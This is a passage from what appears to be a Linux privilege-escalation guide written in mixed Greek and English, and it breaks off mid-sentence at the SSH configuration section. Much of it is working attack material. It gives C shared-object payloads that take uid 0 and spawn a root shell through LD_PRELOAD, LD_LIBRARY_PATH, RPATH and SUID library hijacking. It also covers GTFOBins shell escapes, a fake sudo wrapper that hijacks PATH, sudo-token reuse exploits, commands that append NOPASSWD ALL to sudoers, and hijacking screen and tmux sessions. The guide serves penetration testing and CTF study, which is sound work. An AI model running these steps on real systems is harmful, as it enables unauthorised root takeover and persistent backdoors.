{{#ref}} docker-security/ {{#endref}}
Containerd (ctr) privilege escalation
Εάν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή ctr
διαβάστε την παρακάτω σελίδα καθώς you may be able to abuse it to escalate privileges:
{{#ref}} containerd-ctr-privilege-escalation.md {{#endref}}
RunC privilege escalation
Εάν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή runc
διαβάστε την παρακάτω σελίδα καθώς you may be able to abuse it to escalate privileges:
{{#ref}} runc-privilege-escalation.md {{#endref}}
D-Bus
Το D-Bus είναι ένα προηγμένο inter-Process Communication (IPC) system που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα με αποδοτικό τρόπο. Σχεδιασμένο για το σύγχρονο σύστημα Linux, παρέχει ένα στιβαρό πλαίσιο για διάφορες μορφές επικοινωνίας μεταξύ εφαρμογών.
Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διεργασιών, παρόμοιο με ενισχυμένα UNIX domain sockets. Επιπλέον, βοηθά στη μετάδοση συμβάντων ή σημάτων, διευκολύνοντας την ενοποίηση μεταξύ συστατικών του συστήματος — για παράδειγμα, ένα σήμα από έναν Bluetooth daemon για εισερχόμενη κλήση μπορεί να οδηγήσει έναν music player στο να κάνει mute. Επιπλέον, το D-Bus υποστηρίζει ένα remote object system, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, κάνοντας διαδικασίες που παλιότερα ήταν πολύπλοκες πιο απλές.
Το D-Bus λειτουργεί με ένα allow/deny model, διαχειριζόμενο τα δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) βάσει του αθροιστικού αποτελέσματος των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το bus, ενδεχομένως επιτρέποντας privilege escalation μέσω της εκμετάλλευσης αυτών των δικαιωμάτων.
Παρατίθεται ένα παράδειγμα τέτοιας πολιτικής στο /etc/dbus-1/system.d/wpa_supplicant.conf
, που περιγράφει τα δικαιώματα για τον χρήστη root να κατέχει, να στέλνει και να λαμβάνει μηνύματα από fi.w1.wpa_supplicant1
.
Οι πολιτικές χωρίς συγκεκριμένο χρήστη ή ομάδα εφαρμόζονται καθολικά, ενώ οι πολιτικές στο "default" context εφαρμόζονται σε όλους όσους δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές.
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
Μάθε πώς να enumerate και exploit μια D-Bus επικοινωνία εδώ:
{{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}}
Δίκτυο
Είναι πάντα ενδιαφέρον να κάνεις enumerate το δίκτυο και να προσδιορίσεις τη θέση του μηχανήματος.
Γενική enumeration
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#Files used by network services
lsof -i
Open ports
Ελέγξτε πάντα τα network services που τρέχουν στη μηχανή και με τα οποία δεν καταφέρατε να αλληλεπιδράσετε πριν αποκτήσετε πρόσβαση σε αυτήν:
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
Sniffing
Ελέγξτε αν μπορείτε να sniff traffic. Αν ναι, μπορεί να καταφέρετε να αποκτήσετε κάποια credentials.
timeout 1 tcpdump
Χρήστες
Γενική Απογραφή
Ελέγξτε who είστε, ποιες privileges έχετε, ποιοι users υπάρχουν στα συστήματα, ποιοι μπορούν να login και ποιοι έχουν root privileges:
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
Big UID
Κάποιες εκδόσεις του Linux επηρεάστηκαν από ένα σφάλμα που επιτρέπει σε χρήστες με UID > INT_MAX να αποκτήσουν αυξημένα προνόμια. Περισσότερες πληροφορίες: here, here and here.
Εκμεταλλευτείτε το χρησιμοποιώντας: systemd-run -t /bin/bash
Groups
Ελέγξτε αν είστε μέλος κάποιας ομάδας που θα μπορούσε να σας δώσει δικαιώματα root:
{{#ref}} interesting-groups-linux-pe/ {{#endref}}
Clipboard
Ελέγξτε αν υπάρχει κάτι ενδιαφέρον στο clipboard (αν είναι δυνατόν)
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
Πολιτική Κωδικών Πρόσβασης
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
Γνωστοί κωδικοί πρόσβασης
If you know any password of the environment try to login as each user using the password.
Su Brute
Αν δεν σας πειράζει να δημιουργηθεί πολύ θόρυβος και τα δυαδικά su
και timeout
υπάρχουν στον υπολογιστή, μπορείτε να δοκιμάσετε brute-force σε χρήστη χρησιμοποιώντας su-bruteforce.
Linpeas with -a
parameter also try to brute-force users.
Καταχρήσεις στο PATH με δικαιώματα εγγραφής
$PATH
Αν διαπιστώσετε ότι μπορείτε να γράψετε μέσα σε κάποιο φάκελο του $PATH, μπορεί να μπορέσετε να αποκτήσετε αυξημένα δικαιώματα δημιουργώντας ένα backdoor μέσα στο φάκελο με δυνατότητα εγγραφής με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από διαφορετικό χρήστη (ιδανικά root) και που δεν φορτώνεται από φάκελο που βρίσκεται πριν τον φάκελό σας στο $PATH.
SUDO and SUID
Μπορεί να σας επιτρέπεται να εκτελέσετε κάποια εντολή χρησιμοποιώντας sudo ή αυτές να έχουν το suid bit. Ελέγξτε το χρησιμοποιώντας:
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
Κάποιες μη αναμενόμενες εντολές σας επιτρέπουν να διαβάσετε και/ή να γράψετε αρχεία ή ακόμα και να εκτελέσετε μια εντολή. Για παράδειγμα:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
Η διαμόρφωση του Sudo μπορεί να επιτρέψει σε έναν χρήστη να εκτελέσει κάποια εντολή με τα προνόμια άλλου χρήστη χωρίς να γνωρίζει τον κωδικό πρόσβασης.
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
Σε αυτό το παράδειγμα ο χρήστης demo
μπορεί να εκτελέσει το vim
ως root
. Είναι πλέον απλό να αποκτήσει ένα shell προσθέτοντας ένα ssh key στον κατάλογο root ή καλώντας το sh
.
sudo vim -c '!sh'
SETENV
Αυτή η οδηγία επιτρέπει στον χρήστη να set an environment variable ενώ εκτελεί κάτι:
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
Το παράδειγμα αυτό, βασισμένο στο HTB machine Admirer, ήταν ευάλωτο σε PYTHONPATH hijacking ώστε να φορτώσει μια αυθαίρετη python βιβλιοθήκη ενώ εκτελούσε το script ως root:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
Παρακάμπτοντας μονοπάτια εκτέλεσης sudo
Jump για να διαβάσεις άλλα αρχεία ή χρησιμοποίησε symlinks. Για παράδειγμα στο αρχείο sudoers: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
Εάν χρησιμοποιηθεί wildcard (*), είναι ακόμη πιο εύκολο:
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
Μέτρα αντιμετώπισης: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
Sudo command/SUID binary χωρίς το μονοπάτι της εντολής
Αν η sudo permission έχει δοθεί σε μία εντολή χωρίς να καθοριστεί το μονοπάτι: hacker10 ALL= (root) less μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί εάν ένα suid binary εκτελεί κάποια άλλη εντολή χωρίς να καθορίζει το path της (ελέγχετε πάντα με strings το περιεχόμενο ενός περίεργου SUID binary).
SUID binary με καθορισμένο command path
If the suid binary executes another command specifying the path, then, you can try to export a function named as the command that the suid file is calling.
For example, if a suid binary calls /usr/sbin/service apache2 start you have to try to create the function and export it:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
Τότε, όταν καλέσετε το suid binary, αυτή η συνάρτηση θα εκτελεστεί
LD_PRELOAD & LD_LIBRARY_PATH
Η μεταβλητή περιβάλλοντος LD_PRELOAD χρησιμοποιείται για να καθορίσει μία ή περισσότερες shared libraries (.so files) που θα φορτωθούν από τον loader πριν από όλες τις υπόλοιπες, συμπεριλαμβανομένης της standard C library (libc.so
). Αυτή η διαδικασία είναι γνωστή ως preloading a library.
Ωστόσο, για να διατηρηθεί η ασφάλεια του συστήματος και να αποτραπεί η εκμετάλλευση αυτής της δυνατότητας, ιδιαίτερα σε suid/sgid executables, το σύστημα επιβάλλει ορισμένες προϋποθέσεις:
- Ο loader αγνοεί το LD_PRELOAD για executables όπου το real user ID (ruid) δεν ταιριάζει με το effective user ID (euid).
- Για εκτελέσιμα με suid/sgid, μόνο βιβλιοθήκες σε standard paths που επίσης είναι suid/sgid προφορτώνονται.
Privilege escalation μπορεί να προκύψει αν έχετε τη δυνατότητα να εκτελείτε εντολές με sudo
και η έξοδος του sudo -l
περιλαμβάνει τη δήλωση env_keep+=LD_PRELOAD. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος LD_PRELOAD να παραμένει και να αναγνωρίζεται ακόμη και όταν οι εντολές εκτελούνται με sudo
, ενδεχομένως οδηγώντας στην εκτέλεση arbitrary code με elevated privileges.
Defaults env_keep += LD_PRELOAD
Αποθήκευσε ως /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Στη συνέχεια μεταγλωττίστε το χρησιμοποιώντας:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Τελικά, escalate privileges εκτελώντας
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
Caution
Ένα παρόμοιο privesc μπορεί να χρησιμοποιηθεί κακόβουλα αν ο attacker ελέγχει την env variable LD_LIBRARY_PATH επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες.
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
SUID Binary – .so injection
Όταν συναντάτε ένα binary με δικαιώματα SUID που φαίνεται ασυνήθιστο, είναι καλή πρακτική να επαληθεύσετε αν φορτώνει σωστά αρχεία .so. Αυτό μπορεί να ελεγχθεί εκτελώντας την ακόλουθη εντολή:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" υποδεικνύει πιθανότητα εκμετάλλευσης.
Για να το εκμεταλλευτεί κανείς, θα προχωρούσε δημιουργώντας ένα αρχείο C, π.χ. "/path/to/.config/libcalc.c", που περιέχει τον ακόλουθο κώδικα:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Αυτός ο κώδικας, μόλις μεταγλωττιστεί και εκτελεστεί, στοχεύει στην ανύψωση προνομίων μεταβάλλοντας τα δικαιώματα αρχείων και εκτελώντας ένα shell με αυξημένα προνόμια.
Μεταγλωττίστε το παραπάνω αρχείο C σε ένα shared object (.so) αρχείο με:
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
Τέλος, η εκτέλεση του επηρεασμένου SUID binary θα ενεργοποιήσει το exploit, επιτρέποντας ενδεχόμενη system compromise.
Shared Object Hijacking
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
Τώρα που βρήκαμε ένα SUID binary που φορτώνει μια library από έναν φάκελο όπου μπορούμε να γράψουμε, ας δημιουργήσουμε τη library σε αυτόν τον φάκελο με το απαραίτητο όνομα:
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
Εάν λάβετε ένα σφάλμα όπως
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
αυτό σημαίνει ότι η βιβλιοθήκη που δημιουργήσατε πρέπει να έχει μια συνάρτηση που ονομάζεται a_function_name
.
GTFOBins
GTFOBins είναι μια επιμελημένη λίστα με Unix binaries που μπορούν να εκμεταλλευτούν οι επιτιθέμενοι για να παρακάμψουν τοπικούς περιορισμούς ασφαλείας. GTFOArgs είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε μόνο να εισάγετε arguments σε μια εντολή.
Το project συλλέγει νόμιμες λειτουργίες των Unix binaries που μπορούν να καταχραστούν για να ξεφύγουν από restricted shells, να escalate ή να διατηρήσουν αυξημένα privileges, να μεταφέρουν files, να spawn bind και reverse shells, και να διευκολύνουν άλλες post-exploitation εργασίες.
gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'
{{#ref}} https://gtfobins.github.io/ {{#endref}}
{{#ref}} https://gtfoargs.github.io/ {{#endref}}
FallOfSudo
Αν μπορείτε να τρέξετε sudo -l
μπορείτε να χρησιμοποιήσετε το εργαλείο FallOfSudo για να ελέγξετε αν βρίσκει τρόπο να εκμεταλλευτεί οποιονδήποτε sudo rule.
Reusing Sudo Tokens
Σε περιπτώσεις όπου έχετε sudo access αλλά όχι τον κωδικό, μπορείτε να escalate privileges περιμένοντας την εκτέλεση μιας sudo εντολής και στη συνέχεια να hijack-άρετε το session token.
Απαιτήσεις για escalation privileges:
- Έχετε ήδη ένα shell ως χρήστης "sampleuser"
- "sampleuser" έχει χρησιμοποιήσει το
sudo
για να εκτελέσει κάτι στα τελευταία 15mins (κατ' default αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιούμεsudo
χωρίς να εισάγουμε κωδικό) cat /proc/sys/kernel/yama/ptrace_scope
είναι 0gdb
είναι προσβάσιμο (μπορείτε να είστε σε θέση να το ανεβάσετε)
(Μπορείτε προσωρινά να ενεργοποιήσετε το ptrace_scope
με echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
ή μόνιμα τροποποιώντας /etc/sysctl.d/10-ptrace.conf
και θέτοντας kernel.yama.ptrace_scope = 0
)
Εάν όλες αυτές οι προϋποθέσεις πληρούνται, μπορείτε να escalate privileges χρησιμοποιώντας: https://github.com/nongiach/sudo_inject
- Το πρώτο exploit (
exploit.sh
) θα δημιουργήσει το δυαδικόactivate_sudo_token
στο /tmp. Μπορείτε να το χρησιμοποιήσετε για να ενεργοποιήσετε το sudo token στη συνεδρία σας (δεν θα πάρετε αυτόματα root shell, κάντεsudo su
):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- Το δεύτερο exploit (
exploit_v2.sh
) θα δημιουργήσει ένα sh shell στο /tmp που ανήκει στον root με setuid
bash exploit_v2.sh
/tmp/sh -p
- Ο τρίτος exploit (
exploit_v3.sh
) θα δημιουργήσει ένα sudoers file που κάνει τα sudo tokens μη ληγόμενα και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν sudo
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<Username>
Εάν έχετε write permissions στον φάκελο ή σε οποιοδήποτε από τα αρχεία που δημιουργήθηκαν μέσα σε αυτόν, μπορείτε να χρησιμοποιήσετε το binary write_sudo_token για να create a sudo token for a user and PID.
Για παράδειγμα, αν μπορείτε να overwrite το αρχείο /var/run/sudo/ts/sampleuser και έχετε shell ως user με PID 1234, μπορείτε να obtain sudo privileges χωρίς να χρειάζεται να γνωρίζετε το password κάνοντας:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
Το αρχείο /etc/sudoers
και τα αρχεία μέσα στο /etc/sudoers.d
ρυθμίζουν ποιος μπορεί να χρησιμοποιήσει sudo
και πώς. Αυτά τα αρχεία από προεπιλογή μπορούν να διαβαστούν μόνο από τον χρήστη root και την ομάδα root.
Αν μπορείτε να read αυτό το αρχείο, μπορεί να καταφέρετε να αποκτήσετε κάποιες ενδιαφέρουσες πληροφορίες, και εάν μπορείτε να write οποιοδήποτε αρχείο θα είστε σε θέση να escalate privileges.
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
Αν μπορείς να γράψεις, μπορείς να καταχραστείς αυτήν την άδεια
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
Ένας άλλος τρόπος κατάχρησης αυτών των δικαιωμάτων:
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
Υπάρχουν μερικές εναλλακτικές για το δυαδικό sudo
, όπως το doas
για OpenBSD — θυμηθείτε να ελέγξετε τη ρύθμισή του στο /etc/doas.conf
permit nopass demo as root cmd vim
Sudo Hijacking
Αν γνωρίζετε ότι ο χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί sudo
για να αναβαθμίσει δικαιώματα και έχετε ένα shell στο πλαίσιο αυτού του χρήστη, μπορείτε να δημιουργήσετε ένα νέο sudo executable που θα εκτελεί τον κώδικά σας ως root και μετά την εντολή του χρήστη. Στη συνέχεια, τροποποιήσετε το $PATH του περιβάλλοντος χρήστη (για παράδειγμα προσθέτοντας το νέο path στο .bash_profile) ώστε όταν ο χρήστης εκτελεί sudo, το εκτελέσιμο sudo σας να εκτελείται.
Σημειώστε ότι αν ο χρήστης χρησιμοποιεί διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε το νέο path. Για παράδειγμα sudo-piggyback τροποποιεί ~/.bashrc
, ~/.zshrc
, ~/.bash_profile
. Μπορείτε να βρείτε άλλο παράδειγμα στο bashdoor.py
Ή εκτελώντας κάτι σαν:
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
Κοινή Βιβλιοθήκη
ld.so
Το αρχείο /etc/ld.so.conf
υποδεικνύει από πού προέρχονται τα αρχεία ρυθμίσεων που φορτώνονται. Τυπικά, αυτό το αρχείο περιέχει την εξής γραμμή: include /etc/ld.so.conf.d/*.conf
Αυτό σημαίνει ότι θα διαβαστούν τα αρχεία ρυθμίσεων από το /etc/ld.so.conf.d/*.conf
. Αυτά τα αρχεία ρυθμίσεων δείχνουν σε άλλους φακέλους όπου θα αναζητηθούν οι βιβλιοθήκες. Για παράδειγμα, το περιεχόμενο του /etc/ld.so.conf.d/libc.conf
είναι /usr/local/lib
. Αυτό σημαίνει ότι το σύστημα θα αναζητήσει βιβλιοθήκες μέσα στο /usr/local/lib
.
Εάν για κάποιο λόγο ένας χρήστης έχει δικαιώματα εγγραφής σε οποιαδήποτε από τις ενδεικνυόμενες διαδρομές: /etc/ld.so.conf
, /etc/ld.so.conf.d/
, οποιοδήποτε αρχείο μέσα σε /etc/ld.so.conf.d/
ή οποιονδήποτε φάκελο που αναφέρεται σε αρχείο ρυθμίσεων μέσα στο /etc/ld.so.conf.d/*.conf
ενδέχεται να μπορέσει να αποκτήσει αυξημένα προνόμια.
Δείτε πώς να εκμεταλλευτείτε αυτή την εσφαλμένη διαμόρφωση στην ακόλουθη σελίδα:
{{#ref}} ld.so.conf-example.md {{#endref}}
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
Αν αντιγράψετε το lib στο /var/tmp/flag15/
, θα χρησιμοποιηθεί από το πρόγραμμα σε αυτή τη θέση όπως ορίζεται στη μεταβλητή RPATH
.
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
Στη συνέχεια δημιούργησε μια κακόβουλη βιβλιοθήκη στο /var/tmp
με gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Δυνατότητες
Οι Linux capabilities παρέχουν ένα υποσύνολο των διαθέσιμων root privileges σε μια διεργασία. Αυτό ουσιαστικά διασπά τα root privileges σε μικρότερες και διακριτές μονάδες. Η κάθε μία από αυτές τις μονάδες μπορεί να χορηγηθεί ανεξάρτητα σε διεργασίες. Με αυτόν τον τρόπο μειώνεται το πλήρες σύνολο δικαιωμάτων, μειώνοντας τους κινδύνους εκμετάλλευσης.
Διαβάστε την ακόλουθη σελίδα για να μάθετε περισσότερα σχετικά με τις δυνατότητες και πώς να τις καταχραστείτε:
{{#ref}} linux-capabilities.md {{#endref}}
Δικαιώματα καταλόγου
Σε έναν κατάλογο, το bit για "execute" υπονοεί ότι ο επηρεαζόμενος χρήστης μπορεί να "cd" μέσα στον φάκελο.
Το "read" bit υπονοεί ότι ο χρήστης μπορεί να list τα files, και το "write" bit υπονοεί ότι ο χρήστης μπορεί να delete και να create νέα files.
ACLs
Οι Access Control Lists (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανό να αναιρεί τις παραδοσιακές ugo/rwx permissions. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης. Περισσότερες λεπτομέρειες μπορείτε να βρείτε here.
Give τον χρήστη "kali" read και write permissions πάνω σε ένα αρχείο:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
Αποκτήστε αρχεία με συγκεκριμένα ACL από το σύστημα:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
Ανοιχτές shell sessions
Σε παλιότερες εκδόσεις μπορείς να hijack κάποια shell συνεδρία διαφορετικού χρήστη (root).
Στις νεότερες εκδόσεις θα μπορείς να connect σε screen sessions μόνο του δικού σας χρήστη. Ωστόσο, μπορεί να βρεις ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία.
screen sessions hijacking
Λίστα screen sessions
screen -ls
screen -ls <username>/ # Show another user' screen sessions
Συνδέσου σε μια συνεδρία
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
tmux συνεδρίες hijacking
Αυτό ήταν ένα πρόβλημα με old tmux versions. Δεν κατάφερα να hijack μια tmux (v2.1) συνεδρία που δημιουργήθηκε από το root ως χρήστης χωρίς προνόμια.
Εμφάνιση συνεδριών tmux
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
Σύνδεση σε μια συνεδρία
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
Check Valentine box from HTB for an example.
SSH
Debian OpenSSL Predictable PRNG - CVE-2008-0166
Όλα τα SSL και SSH κλειδιά που δημιουργήθηκαν σε συστήματα βασισμένα σε Debian (Ubuntu, Kubuntu, etc) μεταξύ Σεπτεμβρίου 2006 και 13 Μαΐου 2008 ενδέχεται να επηρεάζονται από αυτό το σφάλμα.
Αυτό το σφάλμα προκαλείται κατά τη δημιουργία ενός νέου ssh key σε αυτά τα OS, καθώς μόνο 32,768 παραλλαγές ήταν πιθανές. Αυτό σημαίνει ότι όλες οι πιθανότητες μπορούν να υπολογιστούν και έχοντας το ssh public key μπορείτε να αναζητήσετε το αντίστοιχο private key. Μπορείτε να βρείτε τις υπολογισμένες πιθανότητες εδώ: https://github.com/g0tmi1k/debian-ssh
SSH Interesting configuration values
- PasswordAuthentication: Καθορίζει αν επιτρέπεται το password authentication. Η προεπιλογή είναι
no
. - PubkeyAuthentication: Καθορίζει αν επιτρέπεται το public key authentication. Η προεπιλογή είναι
yes
. - PermitEmptyPasswords: Όταν το password authentication επιτρέπεται, καθορίζει αν ο server επιτρέπει login σε accounts με empty password strings. Η προεπιλογή είναι
no
.
PermitRootLogin
Καθορίζει αν το root μπορεί να κάνει log in μέσω ssh, η προεπιλογή είναι no
. Δυνατές τιμές:
yes
: root μπορεί να κάνει login χρησιμοποιώντας password και private keywithout-password
orprohibit-password
: root μπορεί να κάνει login μόνο με private keyforced-commands-only
: Root μπορεί να κάνει login μόνο χρησιμοποιώντας private key και αν έχουν οριστεί οι επιλογές commandsno
: όχι
AuthorizedKeysFile
Καθορίζει τα αρχεία που περιέχουν τα public keys που μπορούν να χρησιμοποιηθούν για user authentication. Μπορεί να περιέχει tokens όπως %h
, τα οποία θα αντικατασταθούν από το home directory. Μπορείτε να υποδείξετε absolute paths (που ξεκινούν με /
) ή relative paths from the user's home. Για παράδειγμα:
AuthorizedKeysFile .ssh/authorized_keys access
Αυτή η διαμόρφωση θα υποδείξει ότι αν προσπαθήσετε να login με το private key του χρήστη "testusername" το ssh θα συγκρίνει το public key του κλειδιού σας με αυτά που βρίσκονται στο /home/testusername/.ssh/authorized_keys
και /home/testusername/access
ForwardAgent/AllowAgentForwarding
SSH agent forwarding σας επιτρέπει να use your local SSH keys instead of leaving keys (without passphrases!) που μένουν στον server σας. Έτσι, θα μπορείτε να jump μέσω ssh to a host και από εκεί να jump to another host using the key located in your initial host.
Πρέπει να ορίσετε αυτή την επιλογή στο $HOME/.ssh.config
ως εξής:
Host example.com
ForwardAgent yes
Σημειώστε ότι αν το Host
είναι *
, κάθε φορά που ο χρήστης μεταβαίνει σε διαφορετικό μηχάνημα, εκείνος ο host θα μπορεί να έχει πρόσβαση στα κλειδιά (κάτι που αποτελεί πρόβλημα ασφάλειας).
Το αρχείο /etc/ssh_config
μπορεί να αντικαταστήσει αυτές τις επιλογές και να επιτρέψει ή να απορρίψει αυτήν τη ρύθμιση.
Το αρχείο /etc/sshd_config
